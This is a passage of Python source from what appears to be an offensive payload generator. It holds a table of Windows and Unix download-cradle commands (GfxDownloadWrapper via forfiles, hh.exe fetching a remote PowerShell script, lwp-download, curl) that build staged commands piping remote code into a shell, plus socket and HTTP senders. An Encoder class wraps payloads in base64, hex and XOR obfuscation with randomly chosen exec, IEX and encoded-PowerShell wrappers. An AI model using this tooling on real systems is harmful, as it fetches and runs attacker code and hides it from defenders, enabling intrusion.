"12": {"name": "GfxDownloadWrapper.exe", "platform": "windows", "binary": "",
"args": '''forfiles /p %systemroot%\\system32\\DriverStore /s /m Gfxd*.exe /C "cmd /c for %I in (@path) do echo|set /p=%~I>%tmp%\0.cmd&echo %1 %2>>%tmp%\0.cmd"&&%tmp%\0 {0}''',
"description": "Remote file download used by the Intel Graphics Control Panel, receives as first parameter a URL and a destination file path."},
"13": {"name": "hh.exe", "platform": "windows", "binary": "HH.exe", "args": " http://some.url/script.ps1",
"description": "Binary used for processing chm files in Windows"},
"14": {"name": "lwp", "platform": "*", "binary": "lwp-download ", "args": " {0}",
"description": "Only support http"},
"15": {"name": "", "platform": "*", "binary": "", "args": "", "description": ""},
"16": {"name": "", "platform": "*", "binary": "", "args": "", "description": ""},
"17": {"name": "", "platform": "*", "binary": "curl", "args": "", "description": ""},
}
if staging_cmd in staging_cmds.keys():
i = staging_cmd
if staging_cmds[i]["platform"] == "*":
if self.shell_path == "$BASH":
auto_path = "for p in `whereis -b {0}`;do $p ".format(staging_cmds[i]["binary"])
staged_payload = auto_path + staging_cmds[i]["args"].format(payload_url)
else:
staged_payload = staging_cmds[i]["binary"] + staging_cmds[i]["args"].format(payload_url)
elif staging_cmds[i]["platform"] == "windows" and "windows" in self.platform:
staged_payload = staging_cmds[i]["binary"] + staging_cmds[i]["args"].format(payload_url)
elif staging_cmds[i]["platform"] == "windows" and "windows" not in self.platform:
staged_payload = staging_cmds["0"]["binary"] + staging_cmds["0"]["args"].format(payload_url)
else:
staged_payload = staging_cmds[i]["binary"] + staging_cmds[i]["args"].format(payload_url)
else:
staged_payload = str(staging_cmd) + ' ' + str(payload_url) + '|' + self.shell_path
return staged_payload
@staticmethod
def request(api=None, method=None, headers=None, data_dict=None):
url = api
method = method
session = requests.Session()
payload_url_dict = {}
for key, data in data_dict.items():
if method == "put":
response = session.put(url, headers=headers, data=data, timeout=15)
elif method == "post":
response = session.post(url, headers=headers, data=data, timeout=15)
else:
response = session.get(url, headers=headers, timeout=15)
if response.status_code == 200 or 201:
payload_url = response.text
payload_url_dict[key] = payload_url
else:
print(response.status_code, response.content)
return payload_url_dict
@staticmethod
def request2(api=None, method=None, headers=None, payload=None):
url = api
method = method
session = requests.Session()
payload_url_dict = {}
for key, value in payload.items():
if method == "put":
response = session.put(url, headers=headers, data=value, timeout=15)
elif method == "post":
response = session.post(url, headers=headers, data=value, timeout=15)
else:
response = session.get(url, headers=headers, timeout=15)
if response.status_code == 200:
result = response.url
payload_url_dict[key] = result
else:
print(response.status_code, response.content)
return payload_url_dict
@staticmethod
def socket(host=None, port=None, payload=None):
host = host
port = int(port)
reply = b""
if isinstance(payload, dict):
staged_payload_dict = {}
for key, payload in payload.items():
payload = payload.encode()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(15)
s.connect((host, port))
s.sendall(payload)
# print(s.getpeername())
reply += s.recv(4096)
staged_payload_dict[key] = reply.decode()
reply = b""
s.close()
return staged_payload_dict
else:
payload = payload.encode()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(15)
s.sendall(payload)
# print(s.getpeername())
reply += s.recv(4096)
s.close()
# print(reply)
return reply.decode()
class Encoder(object):
def __new__(cls, shell_type=None, platform=None, encoder=None, payload=None, shell_path=None):
self = super(Encoder, cls).__new__(cls)
self.shell_type = shell_type
self.platform = platform
self.encode = encoder
self.shell_path = shell_path
self.payload = payload
# Extract code
if "-c" in encoder and any(x in self.shell_type for x in ["python", "powershell"]):
codeRegex = re.compile(r"([\"'])(?:(?=(\\?))\2.)*?\1")
if codeRegex.search(self.payload):
self.payload = codeRegex.search(self.payload).group()[1:-1]
if "base64" in encoder:
return self.base64()
elif "hex" in encoder:
return self.hex()
elif "xor" in encoder:
return self.xor()
elif "rot13" in encoder:
return self.rot13()
elif "bzip2" in encoder:
return self.bzip2()
elif "gzip" in encoder:
return self.gzip()
else:
return payload
def base64(self):
payload = self.payload
if "-c" in self.encode:
if "python" in self.shell_type:
wrapper = '''python -c "exec(__import__('base64').b64decode('{payload}').decode())"'''
payload = wrapper.format(payload=b64.b64encode(payload.encode()).decode())
elif self.shell_type == "powershell":
wrapper1 = '''powershell "Invoke-Expression([Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('{payload}')))"'''
wrapper2 = '''powershell "IEX([Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('{payload}')))"'''
wrapper3 = '''powershell "$executioncontext.InvokeCommand.InvokeScript([Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('{payload}')))"'''
wrapper = random.choice([wrapper1, wrapper2, wrapper3])
payload = wrapper.format(payload=b64.b64encode(payload.encode()).decode())
else:
if "windows" in self.platform:
ps_regex = re.compile("^powershell\\s*(\\W+|\\W+\\w+)\\s*", re.I)
# The raw output of echo without quotes may cause PowerShell to report an error,
# use cmd to interpret and execute it
if re.search("^echo\\s", payload, re.I) and not re.match("^echo\\s*[\"|']", payload, re.I):
payload = payload.replace("\"", "\"\"")
payload = "cmd /c \"" + payload + "\""
# Prevent powershell from nesting errors and only encode powershell code
if ps_regex.search(payload) and "\"" in payload:
payload = re.search(r"([\"'])(?:(?=(\\?))\2.)*?\1", payload).group()[1:-1] + "|" + self.shell_path
payload = "powershell /e " + b64.b64encode(payload.encode('UTF-16-LE')).decode()
else:
base64Wrapper = "echo {0}|base64 -d|{1}"
payload = base64Wrapper.format(b64.b64encode(self.payload.encode("utf8")).decode("utf8"),
self.shell_path)
return payload
def hex(self):
payload = self.payload
if "-c" in self.encode:
if "python" in self.shell_type:
wrapper1 = '''python -c "exec(bytearray.fromhex('{payload}').decode())"'''
wrapper2 = '''python -c "exec(__import__('binascii').unhexlify(bytes('{payload}')).decode())"'''
wrapper = random.choice([wrapper1, wrapper2])
payload = wrapper.format(payload="".join("{:02x}".format(ord(c)) for c in payload))
elif self.shell_type == "powershell":
wrapper = '''powershell "IEX(-join('{payload}'-split'(..)'|?{{$_}}|%{{[char][convert]::ToUInt32($_,16)}}))"'''
payload = wrapper.format(payload="".join("{:02x}".format(ord(c)) for c in payload))
else:
if "windows" in self.platform:
if re.search("^powershell\\s", payload, re.I):
wrapper = '''powershell "-join('{0}'-split'(..)'|?{{$_}}|%{{[char][convert]::ToUInt32($_,16)}})|{1}"'''
else:
wrapper = '''powershell "-join('{0}'-split'(..)'|?{{$_}}|%{{[char][convert]::ToUInt32($_,16)}})|IEX"'''
payload = wrapper.format("".join("{:02x}".format(ord(c)) for c in payload), self.shell_path)
else:
payload = "echo " + "".join("{:02x}".format(ord(c)) for c in payload) + "|xxd -r -p|" + self.shell_path
return payload
def xor(self):
payload = self.payload
if "-c" in self.encode:
if "python" in self.shell_type:
wrapper = '''python -c "exec(''.join([chr(ord(j)^ord('{key}')) for j in bytearray.fromhex('{payload}').decode()]))"'''
key = random.choice(string.ascii_letters + string.ascii_uppercase)
payload = "".join([chr(ord(j) ^ ord(key)) for j in payload])
payload = "".join("{:02x}".format(ord(c)) for c in payload)
payload = wrapper.format(payload=payload, key=key)
else:
xor_string = ""
if "windows" in self.platform:
key = random.choice([random.randint(0, 9), chr(random.randint(65, 70)), chr(random.randint(97, 102))])
key = int('0x{}{}'.format(random.randint(0, 5), key), 0)
for i in payload:
xor_string += str(ord(i) ^ key) + ','
psWrapper = '''powershell "-Join(({0})|%{{[char]($_-BXOR {1})}})"|{2}'''
payload = psWrapper.format(xor_string[:-1], hex(key), self.shell_path)
else:
key = random.randint(0, 127)
for i in payload:
xor_string += chr(ord(i) ^ key)
xor_string = xor_string.encode()
# xor_string = bytes(xor_string, encoding='utf-8')